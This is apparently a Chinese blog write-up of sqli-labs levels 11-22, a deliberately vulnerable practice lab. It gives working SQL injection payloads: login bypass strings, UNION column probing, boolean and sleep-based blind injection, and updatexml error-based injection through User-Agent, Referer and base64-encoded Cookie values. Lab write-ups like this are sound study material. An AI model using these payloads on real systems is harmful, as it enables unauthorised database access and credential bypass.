sqli-labs11-22关闯关心得与思路
第11-12关
1.从11关有了新变化,开始有了输入框了,试着随便输入账号密码,发现提示失败,同时网页上面的链接位置不在有输入参数的信息,这说明,传参的方式由GET改成了POST。
2.还是需要先确定闭合方式,在账号密码框里输入?id=1\,看看效果,根据报错信息可以知道,11关是 ' 闭合,12关是”)闭合。
3.根据burp的抓包来看,post参数里面的账号密码信息如下,可以猜出11 12关的源码形式分别如下:'uname'and'passwd'and'submita' ("uname")and("passwd")and("submita")。这两关都有报错信息,可以使用普通的sql注入。
4.修改uname和passwd的内容(11关为例),为1' or '1=1 ,这样的话在我们不知道账号密码的情况下也可以使sql语句在判断时为真,从而成功登陆,测试一下:
5.这样的话就可以开始注入了,name栏输入真值,passwd栏测试列数:1' order by 2--+,为2时不报错,3报错,说明为2.
6.测试回显 name栏输入真值,passwd栏联合查询:-1' union select 1,2 --+
第13关
1.测试闭合?id=1\:
2.继续根据闭合构建真值:1') or ('1=1
3.name为真值,passwd测试列数,列数为2:
4.测试回显点1') union select 1,2 --+:
5.发现没有回显内容,但是经过前十关的学习,有报错可以使用报错注入。
6.或者也可以构造真值来进行盲注:
uname=1') or ('1=1&passwd=1') or length(database())>0 --+ &submit=Submit
第十四关
1.测试闭合?id=1\:
2.构造真值1') or ('1=1:
3.进行报错注入:
第15关
1.还是先测试闭合,15关的特点是没有报错信息,闭合方式只能一个一个试,或者直接看源码,我选择直接看源码:
2.没有报错信息的话,我选择使用构造真值进行盲注。
uname=1' or '1=1&passwd=1' or length(database())=8 --+&submit=Submit
3.使用时间盲注,只有if语句判断信息为真时,才可以成功登陆:
uname=1' or '1=1&passwd=1' or if (length(database())=8,1,sleep(3)) --+&submit=Submit
第16关
1.查看源码,知道闭合方式,然后测试:
uname=1") or ("1=1passwd=1") or ("1=1 submit=Submit
2.还是使用盲注和时间盲注:
uname=1") or ("1=1&passwd=1") or length(database())=8 --+&submit=Submi
uname=1") or ("1=1&passwd=1") or if(length(database())=8,1,sleep(6)) --+&submit=Submit
第17关
1.第17关的话页面提示重设密码,使用?id=1\ 测试一下,发现没有报错信息
没办法知道闭合方式,只能看代码(代码如下),根据代码可以发现,本关的查询方式为会根据输入的账户的名称,在user表里面进行账户密码的查询,意味着只要账户的名称是对的,他会自己进行密码的查询,不需要进行密码的输入,测试一下输入账户然后登录:
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
2.试着在密码的位置进行盲注,成功注入:
uname=admin&passwd=length (database())=8&submit=Submit
3.时间盲注 :
uname=admin&passwd=if(length (database())=8,1,sleep(6)) --+ &submit=Submit
第18关
1.根据18关的名称了解到是USER-agent注入,是一个新的类型,先看下源码:
从源码中可以知道两个信息
(1)代码对输入的账号密码进行了特殊字符过滤,导致我们前面所使用的在输入的账号密码里面进行注入语句的插入操作不能使用。
(2)发现源码中有语句执行了插入操作,将用户的uagent信息直接插入到了数据库语句中执行出来,可以以此为突破口,进行注入。
2.根据源码可以知道,要想让数据库执行插入uagent的语句,首先需要有正确的账户密码,才能走到插入的步骤而且源码中也可以看到数据库语句的闭合是 思路清晰以后,下面开始注入,需要注意的是,在源码里面,传参是传了'$uagent', '$IP', $uname,三个参数,然后加上)做闭合,所以在构建报错注入的时候要留意这一点:
User-Agent:' and 1=(updatexml(1,concat(0x7e,(database())),1)), '1','1')#
3.构造闭合的方法不止一种,大家领会意思就行。
第十九关
1.根据19关源码可以得知,插入的内容是Referer,思路跟上一关一样,源码如下:
2.构造报错注入:
Referer: ' and 1=(updatexml(1,concat(0x7e,(database())),1)),'')#
第二十关
1.打开第二十关的话,试着登录,显示信息如下:
2.看下源码,注入点应该在cookie的位置
3.试着在cookie中进行注入测试,按F12找到网络,刷新页面,找到提交了cookie的页面,然后选择编辑并重发:
Cookie: uname='and 1=(updatexml(1,concat(0x7e,(database())),1))#
3.查看新提交的cookie响应,成功报错
4.这一关也可以使用burp进行抓包,在抓到的POST数据包里面计入Cookie的值,需要配注意的是,如果在原有包的基础上直接抓包添加Cookie值会显示 ’Your Cookie is deleted‘。
5.通过查询代码可以知道,这是因为源码对 submit的值做了检测,代码如下:
6.所以只要删除数据包里面的submit参数就可以了:
第二十一关
1.源码及正确登录后的信息可以知道,21关的注入点还是cookie,只不过在传输的时候对内容做了64base编码:
2.我们只需要把注入语句进行编码转换就行, 其余的跟20关操作一样,需要注意闭合方式为 ')
在线编码网站:https://c.runoob.com/front-end/693/
菜鸟这个网站也是一个很好的学习网站,十分推荐给大家。
') and 1=(updatexml(1,concat(0x7e,(database())),1))#
3.注入成功:
第二十二关
1.跟上一关一样,只是闭合变成了 "
"and 1=(updatexml(1,concat(0x7e,(database())),1))#
sqli-labs11-22关闯关心得与思路相关推荐
- sqli-labs1-10关闯关心得与思路
1.前期Sql注入两个思路: 一是构造报错页面,有错误信息出来,说明可以使用常规的方法进行构造,根据报错的信息,对原有的sql语句进行闭合,运行自己插入的语句. 二是使用"\"添加 ...
- 第22关 go的web框架-gin
怕什么真理无穷,进一寸有一寸的欢喜. 第22关 go的web框架-gin 22-1 gin的helloworld体验 22-2 使用New和Default初始化路由器的区别 22-3 gin的路由分组 ...
- sqli-lab第17~22关通关随笔记
前言 本来今天是说要到第25关的但是到了第23关我太菜了实在没看出来要咋做,用sqlmap跑了一下是利用延时注入的payload,我一开始想的是跟前面一样用的是联合注入,看了一下源代码也没看出来啥原因 ...
- sqli靶场21-40关
21.cookie注入 首先需要登录账号,登录后会抓到一个cookie的包 这个cookie就是一个注入点,而且经过base64加密,提交的shellcode也需要base64加密. ') or 1= ...
- ip中继对接_【关关闯关】AR和Cisco 2900通过SIP IP中继对接案例
简介 PBX支持三种类型的SIP中继群:SIP AT0.SIP PRA和SIP IP.SIP IP中继是一种分组中继,基于IP承载,采用SIP协议.通过配置SIP IP中继群,可以实现PBX用户与局外 ...
- sqli-labs闯关记录(1~65关)
sql漏洞闯关记录笔记(1~15) 1.基本知识 首先我们先了解SQL注入是什么: SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一,其实就是恶意用户通过在可提交 ...
- 计算机游戏88关,天天象棋88关怎么过 闯关模式第88关图文攻略
天天象棋88关怎么过?闯关模式第88关图文攻略.天天象棋闯关模式第88关怎么过?天天象棋是一款上线的全新休闲类手游,这是一款玩家对战的象棋游戏,对于广大棋类游戏爱好者来说,绝对是很值得玩一玩的,游戏的 ...
- sql-labs 闯关 21~25
sql-labs 闯关 21~25 友善爱国法治诚信富强友善公正爱国和谐友善爱国爱国友善自由民主爱国友善公正 复习笔记1 内容: sql-labs第21关(Cookie注入-base64编码-单引号和 ...
- Sqli-labs 基本注入篇 (Less1~22)
前言 本blog作为练习笔记, 文笔不才, 仅供参考, 不正之处望大神指正. 基本注入篇对应labs的1~22关: 目录 Sqli-labs 基本注入篇 Less-1 单引号显错注入 一.手工注入 ...
最新文章
- ccf 高速公路(顺便当tarjan模板)
- 【剑道】用语中日对照
- python数据结构推荐书-腾讯十年Python开发老司机推荐的入门书籍,你确定不看吗?...
- C语言 读取字符串数组中的字符串并获取字符串的长度
- document.write()详解
- 反射、对象拷贝、异常常见问题总结
- java培训第一阶段测试总结_java学习的第一阶段总结
- Gruntjs: grunt-contrib-jst
- 有关UIView、subview的几个基础知识点-IOS开发 (实例)
- 文本获取和搜索引擎中的反馈模型
- Gandi下配置Github pages的自定义域名
- [转]浅谈Normalize.css
- Python中数据类型转换
- Ubuntu下映射串口设备到docker
- 谷歌Chrome浏览器开发者工具教程—基础功能篇
- hdu5414(2015多校10)--CRB and String(字符串匹配)
- Ubuntu10.04下载并编译Android4.3源代码
- 电赛练习之旋转倒立摆
- 渗透测试-SQL注入检测
- 【2016.5.27】再见,软件工程,你好,软件工程。